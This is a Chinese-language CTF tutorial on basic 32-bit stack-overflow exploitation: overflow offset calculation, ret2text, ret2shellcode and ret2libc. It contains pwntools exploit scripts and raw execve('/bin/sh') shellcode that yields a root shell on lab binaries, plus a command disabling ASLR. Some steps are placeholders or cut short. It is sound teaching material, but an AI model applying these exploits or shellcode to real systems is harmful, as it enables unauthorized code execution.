|
原文链接:PWN-栈溢出入门
PWN-栈溢出入门
溢出padding计算
方法1:esp/ebp距离计算
1. 溢出函数处下断点
b main
2. 记录esp、ebp
EBP: 0xbffff508 --> 0x0
ESP: 0xbffff480 --> 0x0
3. 找到溢出函数参数位置
0x804858c <main+95>: lea eax,[esp+0x1c]
4. padding = (ebp - (esp+1c)) + 4 = (0xbffff508 - 0xbffff480 - 0x1c ) +4 = 112
方法2:pattern_create
通常情况下ebp + 4/rbp + 8更准确
pattern_offset $ebp
pattern_offset $eip
pattern_offset $rbp
pattern_offset $rip
方法3:cyclic
- ┌──(root????kali)-[/home/kali/Desktop/CTF]
- └─# cyclic 200 148 ⨯ 1 ⚙
- [!] Pwntools does not support 32-bit Python. Use a 64-bit release.
- aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
-
- ┌──(root????kali)-[/home/kali/Desktop/CTF]
- └─# gdb ret2shellcode 1 ⚙
- gdb-peda$ run
- Starting program: /home/kali/Desktop/CTF/ret2shellcode
- No system for you this time !!!
- aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
- bye bye ~
- Program received signal SIGSEGV, Segmentation fault.
- [----------------------------------registers-----------------------------------]
- EAX: 0x0
- EBX: 0x0
- ECX: 0x9 ('\t')
- EDX: 0xffffffff
- ESI: 0xb7fb0000 --> 0x1e4d6c
- EDI: 0xb7fb0000 --> 0x1e4d6c
- EBP: 0x62616163 ('caab')
- ESP: 0xbffff510 ("eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
- EIP: 0x62616164 ('daab')
- EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
- [-------------------------------------code-------------------------------------]
- Invalid $PC address: 0x62616164
- Legend: code, data, rodata, value
- Stopped reason: SIGSEGV
- 0x62616164 in ?? ()
- gdb-peda$
- zsh: suspended gdb ret2shellcode
-
- ┌──(root????kali)-[/home/kali/Desktop/CTF]
- └─# cyclic -l "0x62616164" 148 ⨯ 2 ⚙
- [!] Pwntools does not support 32-bit Python. Use a 64-bit release.
- 112
-
复制代码
栈溢出利用
ret2text
ret2text 即控制程序执行程序本身已有的的代码(.text)
示例
- // gcc -m32 -fno-stack-protector -no-pie ret2text.c -o ret2text
- #include <stdio.h>
- #include <string.h>
- void success() {
- puts("SUCCESS!!!");
- system("cat flag");
- }
- void vulnerable() {
- char s[12];
- gets(s);
- puts(s);
- return;
- }
- int main(int argc, char **argv) {
- vulnerable();
- return 0;
- }
复制代码
.text段存在flag关键信息函数
计算溢出长度
xxxxx
python代码
from pwn import *
sh = process("./ret2text")
win = 0x8049182
sh.sendline(b'A'*24 + p32(win))
sh.interactive()
ret2shellcode
图1
图2
问题:如何确定shellcode起始地址
关闭ASLR
ASLR(系统开启的)
ASLR是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
在linux中使用此技术后,杀死某程序后重新开启,地址换。
在windows中使用此技术后,杀死进程后重新开启,地址不换,重启才会改变。
以上cat命令输出的值表示:
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
echo 0 > /proc/sys/kernel/randomize_va_space
echo 1 > /proc/sys/kernel/core_uses_pid
示例
#include <unistd.h>
void vuln_func()
{
char buf[128];
read(STDIN_FILENO,buf,256);
}
int main(void)
{
vuln_func();
write(STDOUT_FILENO,"hello world!\n",13);
}
1. 执行溢出确定溢出地址和core文件
为什么是$esp-140-4 因为此时的esp指向函数返回地址
函数是执行ret之后才报错的,所以此时代码已经执行完成ret,也就是说esp指向(返回地址 + 4)
方法2:
- └─# gdb stack3 core.2961 -q 6 ⚙
- Reading symbols from stack3...
- (No debugging symbols found in stack3)
- [New LWP 2961]
- Core was generated by `./stack3'.
- Program terminated with signal SIGSEGV, Segmentation fault.
- #0 0xbf91afc0 in ?? ()
- gdb-peda$ x/4wx $esp
- 0xbffff550: 0xbffff50a 0x00000000 0x00000000 0xb7de9e46
- gdb-peda$
- #!/usr/bin/env python
- from pwn import *
- sh = process('./stack3')
- # 方法2
- buf2_addr = 0xbffff550 # 就是esp的值
- print(shellcode)
- pause()
- sh.sendline(b'b'*140+ p32(buf2_addr) + shellcode)
- sh.interactive()
- ┌──(root�kali)-[/home/kali/Desktop/CTF]
- └─# python3 stack3.py 3 ⚙
- [!] Pwntools does not support 32-bit Python. Use a 64-bit release.
- [+] Starting local process './stack3': pid 3037
- b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
- [*] Switching to interactive mode
- $ id
- uid=0(root) gid=0(root) groups=0(root),143(kaboxer)
- $
- [*] Interrupted
- [*] Stopped process './stack3' (pid 3037)
复制代码
ret2libc
例1
IDA分析
sh_addr = 0x08048720
system_addr = 0x08048460
padding = 112
exp
from pwn import *
sh = process("./ret2libc1")
binsh = 0x08048720
system_plt = 0x08048460
whatever_addr = 0x11111111
payload = b"a" * 112
payload += p32(system_plt)
payload += p32(whatever_addr)# 这里就是调用system的返回地址,没有实际意义
payload += p32(binsh)
sh.sendline(payload)
sh.interactive()
例2
checksec
xxxxx
计算padding = 112
.bss buf2 = 0x0804A080
gets = 08048460
system = 08048490
栈情况分析
exp
from pwn import *
sh = process("./ret2libc2")
get_addr = 0x08048460
buf_addr = 0x0804A080
system_addr = 0x08048490
payload = b"Q" * 112
payload += p32(get_addr)
payload += p32(system_addr)
payload += p32(buf_addr)
payload += p32(buf_addr)
sh.sendline(payload)
sh.sendline("/bin/sh")
sh.interactive()
exp2
from pwn import *
sh = process("./ret2libc2")
elf = ELF("./ret2libc2")
get_addr = elf.plt['gets']
system_addr = elf.plt['system']
buf_addr = elf.symbols['buf2']
payload = b"Q" * 112
payload += p32(get_addr)
payload += p32(system_addr)
payload += p32(buf_addr)
payload += p32(buf_addr)
sh.sendline(payload)
sh.sendline("/bin/sh")
sh.interactive()
例3
函数基址 base = A函数got - A函数libc = B函数got - B函数libc
xctf level3
libc_write = 0x000D43C0
libc_system = 0x0003A940
libc_bin = 0x0015902B
|
|